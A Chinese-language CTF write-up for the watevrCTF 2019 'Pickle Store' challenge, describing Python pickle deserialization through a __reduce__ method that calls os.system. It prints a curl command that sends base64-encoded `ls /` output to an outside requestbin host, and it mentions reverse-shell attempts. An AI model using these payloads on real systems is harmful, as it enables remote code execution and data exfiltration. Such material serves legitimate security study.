0%

[watevrCTF2019]Pickle_Store

[watevrCTF-2019]Pickle Store

之前做了他们的一个cookie store的题目,cookie伪造一下就能过,是个水题,就顺着做了他们的pickle store,做起来就不太对劲了,难度upup

同样在cookie处能取得一串base64,解码之后用pickle.loads加载,可以看到一个数组,记载了钱数和货物,但是这回多了一个hmac的签名,加密用的密钥是没办法搞出来了,那就只能另寻他路

pickle反序列化漏洞

python的反序列化漏洞危害比PHP要大,因为能做到任意代码执行,直接写一个类,创建一个__reduce__方法,该方法在该类被序列化时使用,返回字符串或元组。
我们可以在返回值处调用我们想要使用的函数,不过这种方法只能调用一个函数,例如return (os.system,('ls',)),并且这里是一定要加逗号的,圆括号中添加逗号会将其声明为元组,而规定__reduce__方法的返回值必须是字符串或元组,使用不这么用就会报错

不过不必担心没有导入os模块,我们可以在__reduce__方法中使用import进行导入,__reduce__方法作为序列化的魔法方法,返回值可以被我们控制为函数,其被反序列化时可被执行,但这样子可以执行的函数只有返回值的那一个,想要执行多个代码,我们需要手搓pickle(但是没懂为什么可以在__reduce__中import模块来导入本来没有的模块)

坑点1

不同平台下的反序列化结果是不一样的,甚至python的版本也会影响pickle的结果,使用这个题在Windows下生成的payload就不奏效,最后又回到Linux上做payload

坑点2

这里无论执行什么都不会有回显,但是通过执行time.sleep发现有明显的延迟,证实可以命令执行,使用url进行外带或者反弹shell,反弹shell弹了几下没成功,curl外带可以去buu的这个平台http://http.requestbin.buuoj.cn/
执行的命令是 curl http://http.requestbin.buuoj.cn/17ozn5q1/\?a=\ls / | base64 | sed -n “1p”``
一开始还没看懂,其实就是像这个平台发一个请求,用GET提交一个a,内容为反引号命令执行的内容

手搓pickle的任意命令执行

使用一个名为marshal的库可以实现(不过如果这个库被ban了也就没戏了)
参考链接 https://www.freebuf.com/articles/system/89165.html

比如p神说的这种情况,这时需要真正的手搓pickle,理解其基本意义,实现命令执行
p神的题和解法